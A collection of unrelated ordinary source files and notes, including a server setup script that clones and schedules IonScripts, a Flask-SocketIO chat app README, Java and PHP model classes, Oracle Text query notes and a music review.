echo "- To download from GitHub we need to install GIT" | tee -a ionSimpleSetup.log
sudo apt-get -y install git | tee -a ionSimpleSetup.log
echo "- we also use the \"at\" command we should install that too. " | tee -a ionSimpleSetup.log
sudo apt-get -y install at | tee -a ionSimpleSetup.log
echo "- Clone the repository" | tee -a ionSimpleSetup.log
sudo git clone https://github.com/cevap/IonScripts | tee -a ionSimpleSetup.log
echo "- Navigate to the script" | tee -a ionSimpleSetup.log
cd IonScripts
echo "- Just in case we previously ran this script, pull the latest from GitHub" | tee -a ../ionSimpleSetup.log
sudo git pull https://github.com/cevap/IonScripts | tee -a ../ionSimpleSetup.log
echo "" | tee -a ionSimpleSetup.log
echo "Step 2: Set permissions so that ionStartupScript.sh can run" | tee -a ../ionSimpleSetup.log
echo "- Change the permissions" | tee -a ../ionSimpleSetup.log
chmod +x ionStartupScript.sh | tee -a ../ionSimpleSetup.log
echo "" | tee -a ../ionSimpleSetup.log
echo "Step 3: Run the script." | tee -a ../ionSimpleSetup.log
if [ "$varShowHelp" = true ]; then
echo "./ionStartupScript.sh -h" | tee -a ../ionSimpleSetup.log
./ionStartupScript.sh -h | tee -a ../ionSimpleSetup.log
else
varLogFilename="ionStartupScript$(date +%Y%m%d_%H%M%S).log"
#Due to the fact that some VPN servers have not enabled RemainAfterExit=yes", which if neglected, causes systemd to terminate all spawned processes from the imageboot unit, we need to schedule the script to run.
#echo "sudo setsid ./ionStartupScript.sh $@ 1> $varLogFilename 2>&1 < /dev/null &"
#sudo setsid ./ionStartupScript.sh $@ 1> $varLogFilename 2>&1 < /dev/null &
#PID=`ps -eaf | grep ionStartupScript.sh | grep -v grep | awk '{print \$2}'`
#echo "The script is now running in the background. PID=${PID}" | tee -a ../ionSimpleSetup.log
#Because of that flaw, we are going to use the at command to schedule the process
echo "" | tee -a ../ionSimpleSetup.log
echo "$(date +%F_%T) Scheduling the script to run 2 min from now. We do this instead of nohup or setsid because some VPSs terminate " | tee -a ../ionSimpleSetup.log
echo "We will execute the following command in 2 min: ./ionStartupScript.sh $@ 1> $varLogFilename 2>&1 < /dev/null &" | tee -a ../ionSimpleSetup.log
echo "./ionStartupScript.sh $@ 1> $varLogFilename 2>&1 < /dev/null &" | at now + 2 minutes | tee -a ../ionSimpleSetup.log
echo "" | tee -a ../ionSimpleSetup.log
echo "If you want to follow its progress (once it starts in 2 min) then use the following command:" | tee -a ../ionSimpleSetup.log
echo "" | tee -a ../ionSimpleSetup.log
echo "tail -f ${PWD}/${varLogFilename}" | tee -a ../ionSimpleSetup.log
echo "" | tee -a ../ionSimpleSetup.log
fi
|
Python | UTF-8 | 1,138 | 2.890625 | 3 | [] | no_license | from sklearn.metrics import accuracy_score
import utils.Tagging_Task_Data_Handler as Tagging_Task_Data_Handler
# Create a scoring function to change the formatting of gold labels from list of sentence lists
# to a big list of tags.
# Also, ignore all labels which were ignored in training (I.e. null labels)
def tag_accuracy_scorer(golds, preds, probs):
# NB. We do not use the probabilities (probs) of the predictions but we include them as an argument
# as they are called in the Snorkel code.
# Get the null label signifier
null_label = Tagging_Task_Data_Handler.get_null_token()
# Flatten the gold list such that the gold labels are now in one big list, not in sentence lists
golds_flattened = golds.reshape(golds.shape[0]*golds.shape[1])
# Only select golds which do not have null labels
non_null_gold_mask = golds_flattened != null_label
# Find golds and predictions which correspond to non-null label values
non_null_golds = golds_flattened[non_null_gold_mask]
non_null_preds = preds[non_null_gold_mask]
return accuracy_score(non_null_golds, non_null_preds) |
JavaScript | UTF-8 | 361 | 2.671875 | 3 | [] | no_license | export const btn = document.getElementById("action");
btn.addEventListener("click", function () {
//Do something here
let boxwidthinput = document.getElementById("myInput").value;
let boxwidthinputnumber = parseFloat(boxwidthinput);
if (boxwidthinputnumber != 0) {
cube.scale.x = boxwidthinputnumber;
}
//cube.position.x=2;
}); |
Java | UTF-8 | 2,143 | 2.4375 | 2 | [] | no_license | package br.edu.ifrs.modelo.bean;
import java.util.*;
/**
*
* @author mathias
* Data: dia 24 / 06
* Descricao: Classe java para objeto Evento;
*/
public class Evento {
private String solicitante;
private String entidadeSolicitante;
private String email;
private String telefone;
private Date InicioEvento;
private Date fimEvento;
private Date diaSolicitacao;
private String situacao;
private String descricao;
public String getSolicitante() {
return solicitante;
}
public void setSolicitante(String solicitante) {
this.solicitante = solicitante;
}
public String getEntidadeSolicitante() {
return entidadeSolicitante;
}
public void setEntidadeSolicitante(String entidadeSolicitante) {
this.entidadeSolicitante = entidadeSolicitante;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getTelefone() {
return telefone;
}
public void setTelefone(String telefone) {
this.telefone = telefone;
}
public Date getInicioEvento() {
return InicioEvento;
}
public void setInicioEvento(Date InicioEvento) {
this.InicioEvento = InicioEvento;
}
public Date getFimEvento() {
return fimEvento;
}
public void setFimEvento(Date fimEvento) {
this.fimEvento = fimEvento;
}
public Date getDiaSolicitacao() {
return diaSolicitacao;
}
public void setDiaSolicitacao(Date diaSolicitacao) {
this.diaSolicitacao = diaSolicitacao;
}
public String getSituacao() {
return situacao;
}
public void setSituacao(String situacao) {
this.situacao = situacao;
}
public String getDescricao() {
return descricao;
}
public void setDescricao(String descricao) {
this.descricao = descricao;
}
public void adicionar() {
throw new UnsupportedOperationException("Not supported yet."); //To change body of generated methods, choose Tools | Templates.
}
}
|
Python | UTF-8 | 641 | 3.109375 | 3 | [] | no_license | import numpy
from scipy.signal import chirp, sawtooth, square, gausspulse
import matplotlib.pyplot as plt
t=numpy.linspace(-1,1,1000)
plt.subplot(221); plt.ylim([-2,2])
plt.plot(t,chirp(t,f0=100,t1=0.5,f1=200)) # plot a chirp
plt.title("Chirp signal")
plt.subplot(222); plt.ylim([-2,2])
plt.plot(t,gausspulse(t,fc=10,bw=0.5)) # Gauss pulse
plt.title("Gauss pulse")
plt.subplot(223); plt.ylim([-2,2])
t*=3*numpy.pi
plt.plot(t,sawtooth(t)) # sawtooth
plt.xlabel("Sawtooth signal")
plt.subplot(224); plt.ylim([-2,2])
plt.plot(t,square(t)) # Square wave
plt.xlabel("Square signal")
plt.show() |
Python | UTF-8 | 1,342 | 2.640625 | 3 | [] | no_license | from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField, SubmitField, IntegerField, DateField, SelectField, FieldList
from wtforms.validators import DataRequired, InputRequired
traitlist = [(0, 'Active'),
(1, 'Friendly'),
(2, 'Creative'),
(3, 'Clever'),
(4, 'Self-Assured'),
(5, 'Attractive'),
(6, 'Perfectionist'),
(7, 'Ambitious'),
(8, 'Self-Aware'),
(9, 'Open-minded'),
(10, 'Empathic'),
(11, 'Adaptable')]
class Choose_Character_Form(FlaskForm):
boy = BooleanField(render_kw={ "class":"form-check-input"})
girl = BooleanField(render_kw={"type":"checkbox"})
trait0 = SelectField('Characteristic 1', choices=traitlist, render_kw={"placeholder": "Choose", "class":"form-control"})
trait1 = SelectField('Characteristic 2', choices=traitlist, render_kw={"placeholder": "Choose", "class":"form-control"})
trait2 = SelectField('Characteristic 3', choices=traitlist, render_kw={"placeholder": "Choose", "class":"form-control"})
trait3 = SelectField('Characteristic 4', choices=traitlist, render_kw={"placeholder": "Choose", "class":"form-control"})
trait4 = SelectField('Characteristic 5', choices=traitlist, render_kw={"placeholder": "Choose", "class":"form-control"})
submit = SubmitField("Find name", render_kw={"class":"gradient-button gradient-button-1"})
|
Markdown | UTF-8 | 2,228 | 2.8125 | 3 | [] | no_license | ---
layout: review
author: Tom
date: 2013-09-02
title: Daughter | Youth
band: Daughter
tags:
- Daughter
recordTitle: Youth
label: 4AD
recordFormat: single
releaseDate: 2013-09-02
buyItLink: http://www.roughtrade.com/albums/75153
buyItLinkTitle: Rough Trade
miniDescription: Daughter hit the nail on the head yet again with this excellent b-side.
hasExcerpt: true
excerpt: <strong>Youth</strong> has long been a favourite song of mine, but it's the
b-side <strong>Smoke</strong> that makes this single worth owning.
categories:
- review
audioLinks:
- name: Youth
url: reviews/daughter/youth.mp3
coverImage: covers/dght1.jpg
---
<div>{% include coverImg.html %}</div>
It's only a recent obsession, but lately I've come to _love_ **7"** singles. In many ways they're the perfect format: more real-estate for cover art that the fast-disapearing (one hopes) **CD** yet less unwieldy than a **10"** or **12"**, the aesthetic balance between label and bare vinyl is more pleasing than a larger record, and – most importantly – you're presented with a highly selective few minutes of music that the very process of putting on the record *forces* you to pay close attention to. A blessed side effect of this high level of editorial discipline is that the **b**-side is rarely wasted on a useless remix; and often it's the **b**-side that marks the single as something worth owning.
It's a testament to how much enjoyment I gained from **Daughter's** recent **LP**, *If You Leave*, that I'm eagerly awaiting the arrival of their latest single, *Youth*. *If You Leave* is by far my favourite album of **2013** so far, and *Youth* is one of the best tracks on that great album. So why buy the song again? For the **b**-side, of course! The fact that early stand-out song *Home* didn't make it onto **Daughter's** debut **LP** shows the strength of the catalogue they have to draw from, and the b-side chosen to accompany **Youth** on this outing drives the point home even more. *Smoke*, the new track, would fit seamlessly onto *If You Leave*, both in terms of texture and aesthetic, and tone and lyrics. Crucially, it also holds its own when it comes to overall quality. Put simply, if you liked that you'll love this.
|
Java | UTF-8 | 1,655 | 2.375 | 2 | [
"MIT"
] | permissive | package ch.eiafr.web.dns;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Arrays;
import java.util.Collection;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters;
@RunWith(value = Parameterized.class)
public class PostRequestTests {
private int number;
public PostRequestTests(int number) {
this.number = number;
}
@Parameters
public static Collection<Object[]> data1() {
Object[][] data = { { 1 } };
return Arrays.asList(data);
}
@Test
public void testNormalRegisterCallback() throws IOException {
try {
String data = "data";
URL url = new URL("http://192.168.1.37:6969/callback");
HttpURLConnection urlConnection = (HttpURLConnection) url
.openConnection();
urlConnection.setRequestMethod("POST");
urlConnection.setDoOutput(true);
urlConnection.setRequestProperty("Content-Type", "text/plain");
urlConnection.setRequestProperty("charset", "utf-8");
urlConnection.setRequestProperty("Referer",
"http://lampecouloir.05.00.c.eia-fr.ch/dpt_switch");
urlConnection.setRequestProperty("Content-Length", data.length()
+ "");
OutputStreamWriter writer = new OutputStreamWriter(
urlConnection.getOutputStream());
writer.write(data);
writer.flush();
writer.close();
urlConnection.getResponseCode();
urlConnection.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
|
Markdown | UTF-8 | 12,271 | 3.0625 | 3 | [] | no_license |
# Table of Contents
1. [Getting Started](#org9487965)
1. [Run the virtual environment](#org064a7a6)
2. [Set environment variables](#org5d20a79)
3. [Install dependencies](#org4873152)
4. [Start the server](#org375e182)
5. [Go to `127.0.0.1:5000/`](#org64d7643)
1. [Preferably test using Firefox](#org9ced0ed)
2. [`application.py`](#org3b94f0e)
1. [Session vs localStorage](#org71262cf)
2. [Channel creation](#orgbff49fa)
3. [Handling timestamps](#org8d90b92)
3. [`helpers.py`](#orgd00ad26)
4. [`static/index.js`](#org5133a58)
1. [`switch` statement](#org6cecd6c)
1. [Remembering the channel](#orge310133)
5. [`static/main.scss`](#org8cfd0cc)
6. [HTML Templates](#orgaa364a2)
1. [`layout.html`](#orgb3c97c1)
2. [`error.html`](#orga28ab4f)
3. [`index.html`](#orgaeebfb9)
4. [`adduser.html`](#org6f78606)
7. [Personal Touch](#org7f564a3)
1. ["Deleting" messages](#org4916db2)
8. [Notes](#org7d51dcc)
1. [Bugs](#org4e1c72c)
2. [Tested on Safari but won't show dates](#org12f596b)
<a id="org9487965"></a>
# Getting Started
<a id="org064a7a6"></a>
## Run the virtual environment
In the terminal, `$ python -m venv venv` later, activate with
`$ source venv/bin/activate`
or if [Virtualenvwrapper](https://virtualenvwrapper.readthedocs.io/en/latest/) is installed
```sh
$ mkvirtualenv project2
```
if it's the first time calling `mkvirtualenv`, then it should add the
virtual environment automatically. If not, you can add it with
```sh
$ workon project2
```
<a id="org5d20a79"></a>
## Set environment variables
Check that the virtual environment is active.
Type on your terminal `$ FLASK_APP=application.py; SECRET_KEY="secret"`
or place the environment variables inside a file (e.g. `.env`)
```sh
# inside an .env file
export FLASK_APP=application.py
export SECRET_KEY='Your_secret!!!'
```
and sourcing it (i.e. `. .env` or `source .env`)
<a id="org4873152"></a>
## Install dependencies
Again, check that the virtual environment is active.
Run `$ pip install -r requirements.txt`
<a id="org375e182"></a>
## Start the server
In your terminal: `$ python application.py`
<a id="org64d7643"></a>
## Navigate to `127.0.0.1:5000/`
in your browser then submit a name into the form.
The submitted name will identify you in the chat.
<a id="org9ced0ed"></a>
### Preferably test using Firefox
I'm using a linux machine thus hard to get Chrome or Safari. So, I'm
only testing with Firefox.
I believe Chrome should work; I quickly tested using a seperate
machine that runs macOS and saw bugs for timestamp
creation. So… keep that in mind
<a id="org3b94f0e"></a>
# `application.py`
handles `login/logout` flow via HTTP requests.
The nature of this flow is documented in the [FlaskSocketIO
documentation](https://flask-socketio.readthedocs.io/en/latest/), and
the author actually encourages this for simplicity's sake. You'll
only see `/leave`, `/` and `/adduser` as HTTP routes.
<a id="org71262cf"></a>
## Session vs localStorage
The `/leave` route does not remove the user from the database –
the app assumes a user will chat quickly and then leave.
Therefore, their name would become available to any other user,
allowing a different person to claim the previous username's messages.
By not erasing the user from the database during logout, I'm preventing
their username and their respective chat messages to be claimed by
another person.
Another thing is that the `/leave` route accepts AJAX requests because
it will take care of clearing `localStorage` and sending a last
*leave* event to let members of a room chat know that a user logged
out. You will get a Python *KeyError* if the development server
crashes and you try to use the app again. Remember that a server crash
signals a *disconnect* event to the client, which triggers a websocket
*leave* event but does not clear the session cookie. Naturally, a user
will be logged in will send empty data to retreive channels, throwing
a *KeyError* when trying to access the channels Python dictionary with
an undefined variable.
Furthermore, on login (i.e. `/adduser`), the server will save the
user's username in a session cookie and later on in `localStorage`
because the client needs a way to redraw the screen when it closes a
window. `localStorage` stores a "username" and "joined" variable to
help redraw the screen and fetch the channels, <span
class="underline">which are live and current</span>, to the client
when it reopens a window. The variables stored in `localStorage` help
rendering correct data in a coversation when the client receives
messages from the server. Things like making sure the owner of a
message sees an **X** on their message and not on another person's
message are handling by checking variables stored in `localStorage`
(`username` & `joined`).
The `"joined"` variable gets used heavily in the client side to toggle
several CSS styles as to give feedback to the user about their
currently joined chat room, if there is any, or the current live and
available chats in the "Live Channels" section.
<a id="orgbff49fa"></a>
## Channel creation
creation, deletion, and sending of messages happen with
websockets.
It may seem like there are too many websocket event handlers but I
built them in a way that I could give proper feedback to user: that a
user should know if a channel can be created or not (and why).
The server (that is file `application.py`) only stores up to 100
messages: you'll see in line `177`
```python
db["channels"].update({
channel: {
"messages": collections.deque(maxlen=100)
}
})
```
specifically the statement `collections.deque(maxlen=100)`, which
automagically pops message items when there are more than 100.
<a id="org8d90b92"></a>
## Handling timestamps
All messages are saved with a timestamp, created at the server in ISO
8601 format. They are later converted to 24 hour UTC format by the
client (browser). The Date API kind of automagically does the
conversion to human readable local time format by feeding a raw UTC
created by Python's `datetime` module. For example
```javascript
const now = new Date(date);
```
Where the variable `date` is a string sent from the Flask server in UTC format.
That is from what gets output in `date`
```python
msg_id, date = "item-" + str(uuid4().hex), str(datetime.now(timezone.utc).isoformat(sep='T')
```
Since browser vendors (Chrome, FireFox, Safari etc) implement the Date
API differently, please expect results to vary from browser to
browser. ~~For example, in Safari, you will notice that the timestamp
on the message won't be something like `[10:22]`, but something like
`[...]`. I should further investigate the reason this happens, but I
suspect it may have to do with cross browser compatibility, which is
outside of the scope of the project.~~
**NOTE**: I have fixed this issue on the last commit. The reason is
that the Python `datetime` module creates by default a string without
the *T* seperator in `YYYY-MM-DDTHH:mm:ss.sssZ` ISO 8601. This is done
by calling the function `isoformat(sep`'T')= on the created date
object. I'm under the impression that some browser vendors are very
strict with the Date API implementation and will not return a proper
date without the exact same ISO 8601 format. For now, you can see
dates rendered correctly in test.
That said, please the app in Firefox, since it's where I mostly tested
the app.
<a id="orgd00ad26"></a>
# `helpers.py`
Contains two decorators which prevent interaction with the server
unless the user is authenticated.
There is also a small helper function that loops through a variable to
find a desired character. This is used to error check/sanitize input
during channel creation (requests sent via websocket to create a
channel).
<a id="org5133a58"></a>
# `static/index.js`
Handles all render logic. The way the file is written expresses more
or less my train of thought… There are several functions that
need work and polishing. Also, I did not use much callbacks in
websocket statements like
```javascript
socket.emit('join', {
// ...
}, ok => {
// This is a callback
})
```
which would have been nice to provide other features like whether
messages were read, or whether they actually got sent by the server,
or allowing resending them on network errors etc etc.
<a id="org6cecd6c"></a>
## `switch` statement
There's a considerably large `switch` statement wrapped around a
`socket.on("json",... )` event handler.
Most of the app's logic happens here. When channels get joined, this
statement takes care of redrawing the user's screen to reflect changes
in state. Message sending also gets handled in this statement as well
as message deletion. There are other minor things to notice in this
statement like the seperation between "message", "notification", and
"refresh" and "sync".
<a id="orge310133"></a>
### Remembering the channel
The "refresh" and "sync" handle different events. A "refresh" is when
a user closes the window and goes back to the app and sees the chat
wherever they left off. A "sync" is when a user, for some reason,
refreshes the window and fetches all necessary state data to render
active channels and/or any joined chat. They are very similar but a
"refresh" handles what happens in a chat room and also does not notify
users of a rejoin, and "sync" is something that mostly happens on
login.
<a id="org8cfd0cc"></a>
# `static/main.scss`
Mostly helps formatting the conversation window where messages get
displayed by giving it a fixed height. Handles other minor
styling. Most styling users bootstrap 4.
<a id="orgaa364a2"></a>
# HTML Templates
<a id="orgb3c97c1"></a>
## `layout.html`
The app barely renders other pages besides `index.html`. This page
contains the navigation menu and a main container where most data gets
rendered.
<a id="orga28ab4f"></a>
## `error.html`
A simple web page that aids giving feedback when a user sents
incorrent authentication data.
<a id="orgaeebfb9"></a>
## `index.html`
Main page that divides two columns: the first one to display active
channels and the other one to display the current active
room/conversation/channel.
You don't need to refresh this page to receive messages, receive
notifications, create channels, or delete messages.
<a id="org6f78606"></a>
## `adduser.html`
Page that tells a user to identify themselves. Has only one input
field, meaning it only requires a username.
<a id="org7f564a3"></a>
# Personal Touch
<a id="org4916db2"></a>
## "Deleting" messages
A user will see an "x" button beside their message indicating that
they may request to delete it.
I'm not really deleting their messages because I would rather not
create gaps in a conversation.
Instead, I decided to overwrite them because I would like users to
know what happened in the conversation – they decide to close
the window and come back again wherever left off.
I do not implement strict "delete message" confirmation because it
would be annoying to ask the user for a pop-up confirmation to delete
their own message.
The app's chat rooms have a short lifespans – a user should be
able to delete them as quickly as possible.
<a id="org7d51dcc"></a>
# Notes
<a id="org4e1c72c"></a>
## Bugs
Known bugs that require further investigation
<a id="org12f596b"></a>
## DONE Tested on Safari but won't show dates
renders dates as `[...]` perhaps the way `new Date()` works in Safari differs from
Firefox's implementation
1. [support parsing of ISO-8601 Date String](https://stackoverflow.com/questions/5802461/javascript-which-browsers-support-parsing-of-iso-8601-date-string-with-date-par?noredirect=1&lq=1)
2. [Date API Chrome vs Firefox](https://stackoverflow.com/questions/15109894/new-date-works-differently-in-chrome-and-firefox)
3. [Date.parse implicitly calls new Date()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse#Syntax)
4. [python datetime.isoformat(sep='T', timespec='minutes') to manipulate ISO 8601 string](https://docs.python.org/3.7/library/datetime.html#datetime.datetime.isoformat)
|
Java | UTF-8 | 1,656 | 2.28125 | 2 | [] | no_license | package com.bblanqiu.common.mysql.model;
import java.util.Date;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.Table;
import javax.persistence.Temporal;
import javax.persistence.TemporalType;
import org.hibernate.annotations.GenericGenerator;
@Entity
@Table(name="version")
public class Version {
@Id
@GeneratedValue(generator = "increment")
@GenericGenerator(name = "increment", strategy = "increment")
private Integer id;
private String platform;//web ios android wp
private String version;
private String addr;
private String description;
@Temporal(TemporalType.TIMESTAMP)
private Date timestamp;
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getAddr() {
return addr;
}
public void setAddr(String addr) {
this.addr = addr;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getPlatform() {
return platform;
}
public void setPlatform(String platform) {
this.platform = platform;
}
public String getVersion() {
return version;
}
public void setVersion(String version) {
this.version = version;
}
public Date getTimestamp() {
return timestamp;
}
public void setTimestamp(Date timestamp) {
this.timestamp = timestamp;
}
@Override
public String toString() {
return "Version [id=" + id + ", platform=" + platform + ", version="
+ version + ", addr=" + addr + ", description=" + description
+ ", timestamp=" + timestamp + "]";
}
}
|
Markdown | UTF-8 | 6,729 | 2.671875 | 3 | [
"Apache-2.0"
] | permissive | ---
title: Oracle Text Notes
author: rupert
layout: post
permalink: /2008/08/oracle-text-notes/
aktt_tweeted:
- 1
categories:
- oracle
tags:
- oracle
---
Just a couple of notes from studying Oracle Text…
1. What is the default index?
Its CONTEXT. The text column can be of type CLOB, BLOB, BFILE, VARCHAR2, or CHAR.
CREATE INDEX idx\_ft\_meta\_en\_name ON poi\_app(ft\_meta\_en\_name) INDEXTYPE IS CTXSYS.CONTEXT;
2. When you perform inserts or updates on the base table, you must explicitly synchronize the index with CTX\_DDL.SYNC\_INDEX.
SQL> EXEC CTX\_DDL.SYNC\_INDEX(‘idx_docs’, ‘2M’);
3. CONTAINS Phrase Queries
If multiple words are contained in a query expression, separated only by blank spaces (no operators), the string of words is considered a phrase and Oracle Text searches for the entire string during a query.
4. Logical Operators
<img src="/images/2008/08/picture-13.png" alt="Picture 1.png" border="0" width="518" height="512" />
5. Some sample SQL queries:
<div class="wp_syntax">
<table>
<tr>
<td class="code">
<pre class="sql" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">-- Simple Query</span>
<span style="color: #993333; font-weight: bold;">SELECT</span> SCORE<span style="color: #66cc66;">(</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">)</span> <span style="color: #993333; font-weight: bold;">AS</span> myscore<span style="color: #66cc66;">,</span> en_name<span style="color: #66cc66;">,</span> en_visname<span style="color: #66cc66;">,</span> py_name <span style="color: #993333; font-weight: bold;">FROM</span> poi_app <span style="color: #993333; font-weight: bold;">WHERE</span> CONTAINS<span style="color: #66cc66;">(</span>ft_meta_en_name<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'grammy center'</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">)</span> <span style="color: #66cc66;">></span> <span style="color: #cc66cc;"></span> <span style="color: #993333; font-weight: bold;">ORDER</span> <span style="color: #993333; font-weight: bold;">BY</span> myscore <span style="color: #993333; font-weight: bold;">DESC</span>;
<span style="color: #993333; font-weight: bold;">SELECT</span> SCORE<span style="color: #66cc66;">(</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">)</span> <span style="color: #993333; font-weight: bold;">AS</span> myscore<span style="color: #66cc66;">,</span> en_name<span style="color: #66cc66;">,</span> en_visname<span style="color: #66cc66;">,</span> py_name <span style="color: #993333; font-weight: bold;">FROM</span> poi_app <span style="color: #993333; font-weight: bold;">WHERE</span> CONTAINS<span style="color: #66cc66;">(</span>ft_meta_en_name<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'cybersoft'</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">)</span> <span style="color: #66cc66;">></span> <span style="color: #cc66cc;"></span>;
<span style="color: #808080; font-style: italic;">-- Query Rewrite</span>
<span style="color: #993333; font-weight: bold;">SELECT</span> en_name<span style="color: #66cc66;">,</span> en_visname<span style="color: #66cc66;">,</span> py_name
<span style="color: #993333; font-weight: bold;">FROM</span> poi_app
<span style="color: #993333; font-weight: bold;">WHERE</span> CONTAINS <span style="color: #66cc66;">(</span>ft_meta_en_name<span style="color: #66cc66;">,</span>
<span style="color: #ff0000;">'<query>
<textquery lang="ENGLISH" grammar="CONTEXT"> international hotel boya
<progression>
<seq><rewrite>transform((TOKENS, "{", "}", "AND"))</rewrite></seq>
<seq><rewrite>transform((TOKENS, "{", "}", "ACCUM"))</rewrite></seq>
</progression>
</textquery>
<score datatype="INTEGER" algorithm="COUNT"/>
</query>'</span><span style="color: #66cc66;">)</span><span style="color: #66cc66;">></span><span style="color: #cc66cc;"></span>;
<span style="color: #808080; font-style: italic;">-- Query 'About'</span>
<span style="color: #993333; font-weight: bold;">SELECT</span> en_name<span style="color: #66cc66;">,</span> en_visname<span style="color: #66cc66;">,</span> py_name<span style="color: #66cc66;">,</span> score<span style="color: #66cc66;">(</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">)</span>
<span style="color: #993333; font-weight: bold;">FROM</span> poi_app
<span style="color: #993333; font-weight: bold;">WHERE</span> CONTAINS<span style="color: #66cc66;">(</span>ft_meta_en_name<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'about(italian restaurants)'</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">)</span> <span style="color: #66cc66;">></span> <span style="color: #cc66cc;"></span>
<span style="color: #993333; font-weight: bold;">ORDER</span> <span style="color: #993333; font-weight: bold;">BY</span> SCORE<span style="color: #66cc66;">(</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">)</span> <span style="color: #993333; font-weight: bold;">DESC</span>;
<span style="color: #808080; font-style: italic;">-- Query logical</span>
<span style="color: #993333; font-weight: bold;">SELECT</span> en_name<span style="color: #66cc66;">,</span> en_visname<span style="color: #66cc66;">,</span> py_name<span style="color: #66cc66;">,</span> score<span style="color: #66cc66;">(</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">)</span>
<span style="color: #993333; font-weight: bold;">FROM</span> poi_app
<span style="color: #993333; font-weight: bold;">WHERE</span> CONTAINS<span style="color: #66cc66;">(</span>ft_meta_en_name<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'beijing, international, hotel'</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">)</span> <span style="color: #66cc66;">></span> <span style="color: #cc66cc;"></span>
<span style="color: #993333; font-weight: bold;">ORDER</span> <span style="color: #993333; font-weight: bold;">BY</span> SCORE<span style="color: #66cc66;">(</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">)</span> <span style="color: #993333; font-weight: bold;">DESC</span>;</pre>
</td>
</tr>
</table>
</div> |
PHP | UTF-8 | 1,394 | 3.046875 | 3 | [] | no_license | <?php
namespace Itkg\Log;
use Monolog\Logger as BaseLogger;
/**
* Class Logger
*
* @author Pascal DENIS <pascal.denis@businessdecision.com>
*/
class Logger extends BaseLogger
{
/**
* Log ID
*
* @var string
*/
protected $id = '';
/**
* Initialize an ID
*/
public function init($identifier = '')
{
// Initializer log ID with optionnal identifier
$this->id = $this->generateId() . ' - ' . $identifier;
if ($identifier) {
$this->id .= ' - ';
}
}
/**
* Adds a log record.
*
* @param integer $level The logging level
* @param string $message The log message
* @param array $context The log context
* @return Boolean Whether the record has been processed
*/
public function addRecord($level, $message, array $context = array())
{
$context['id'] = $this->id; // Add ID in context
return parent::addRecord($level, $message, $context);
}
/**
* Get ID
*
* @return string
*/
public function getId()
{
return $this->id;
}
/**
* Set ID
*
* @param string $id
*/
public function setId($id)
{
$this->id = $id;
}
/**
* génère le log id
*
* @return int
*/
protected function generateId()
{
return IdGenerator::generate();
}
}
|
Rust | UTF-8 | 1,202 | 2.90625 | 3 | [
"Apache-2.0"
] | permissive | pub struct FooState;
use qml::*;
use std::process::Command;
impl FooState {
pub fn simple_receiver(&mut self) -> Option<&QVariant> {
println!("Slot called");
// This is a function that also will be a slot
None
}
fn is_git_repo(&mut self, file_path: &String) -> bool {
let normalized_file_path = file_path.replace("file://", "");
let output = Command::new("git")
.current_dir(normalized_file_path)
.arg("rev-parse")
.status()
.unwrap_or_else(|e| panic!("failed validating git repo: {}", e));
output.success()
}
pub fn open_repo(&mut self, repo: String) -> Option<&QVariant> {
let msg = match self.is_git_repo(&repo) {
true => format!("File [{}] is a git repo", repo),
_ => format!("File [{}] is not a git repo", repo)
};
println!("{}", msg);
None
}
}
Q_OBJECT!(
pub FooState as QFooState{
signals:
fn simple_signal(s: String);
slots:
fn simple_receiver();
fn open_repo(repo: String);
properties:
name: String; read: get_name, write: set_name, notify: name_changed;
});
|
C# | UTF-8 | 14,312 | 2.96875 | 3 | [] | no_license | using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Drawing;
namespace OOD2
{
class Circuit
{
// Color definitions for colouring connections
Color cTrue, cFalse, cUnknown;
IElement firstSelectedId; // represents the first selected Element from the GUI.
IElement secondSelectedId; // represents the second selected element from the GUI.
IElement searchmoveelement; //represents the element that is moved
IElement removedelement; //represents the element that is removed
List<IElement> elements; // the list of elements
public Record undo_redo;
private static int lastId = 1;
public Circuit()
{
undo_redo = new Record();
elements=new List<IElement>();
cTrue = Color.Green;
cFalse = Color.Red;
cUnknown = Color.Black;
}
/// <summary>
/// method for undo a recent mistake
/// </summary>
/// <param name="lastchange"></param>
public void Undo(TypeOfChange lastchange)
{
switch(lastchange)
{
case TypeOfChange.ADD:
undo_redo.UndoAdd(elements);
break;
case TypeOfChange.MOVE:
undo_redo.UndoMove(elements,searchmoveelement.id-1);
break;
case TypeOfChange.REMOVE:
elements=undo_redo.UndoRemove(removedelement);
break;
}
}
/// <summary>
/// method to redo the last undo.
/// </summary>
public void Redo()
{
elements=undo_redo.Redo();
}
/// <summary>
/// Generates next ID
/// </summary>
/// <returns>next ID</returns>
private int GetId()
{
return lastId++;
}
public bool SearchForClick(int x,int y,bool conntrue)
{//when you press click on an element on the form it saves it. Does this two times and if its valid, creates connection between those elements
foreach (IElement i in elements)
{
if (!(i is Connection))
{
